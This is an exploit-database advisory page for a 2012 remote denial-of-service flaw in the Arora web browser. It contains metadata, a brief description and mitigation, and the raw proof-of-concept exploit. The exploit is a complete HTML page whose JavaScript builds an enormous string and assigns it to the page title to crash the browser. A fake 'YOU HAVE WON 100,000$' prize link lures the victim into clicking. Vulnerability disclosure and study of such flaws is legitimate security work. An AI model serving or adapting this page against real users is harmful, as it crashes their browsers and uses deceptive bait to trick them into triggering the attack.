Arora Browser Remote Denial of Service

vendor:

Arora Browser

by:

SecurityFocus

7,5

CVSS

HIGH

Remote Denial of Service

400

CWE

Product Name: Arora Browser

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

Arora Browser Remote Denial of Service

Arora Browser is prone to a remote denial-of-service vulnerability. Attackers can exploit these issues to crash an application, which causes a denial-of-service condition. An attacker can exploit this vulnerability by creating a malicious webpage containing a JavaScript code that creates a large string and sets it as the title of the page. When a user visits the malicious page, the browser will crash.

Mitigation:

Users should avoid visiting untrusted websites and should not click on suspicious links.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/54599/info

Arora Browser is prone to a remote denial-of-service vulnerability.

Attackers can exploit these issues to crash an application, which causes a denial-of-service condition. 

<html>
<head>
<title>Arora Browser Remote Denial of Service </title>
<body bgcolor="Grey">
<script type="text/javascript">
function loxians() {
    var buffer = "";
    for (var i = 0; i < 8000; i++) {
        buffer += "A";
    }
    var buffer2 = buffer;
    for (i = 0; i < 8000; i++) {
        buffer2 += buffer;
    }
    document.title = buffer2;
}
</script>
</head>
<body>
<center>
<br><h2><a href="javascript:loxians();">YOU HAVE WON 100,000$ ! CLICK HERE!!</a></font></h2>
</body>
</html>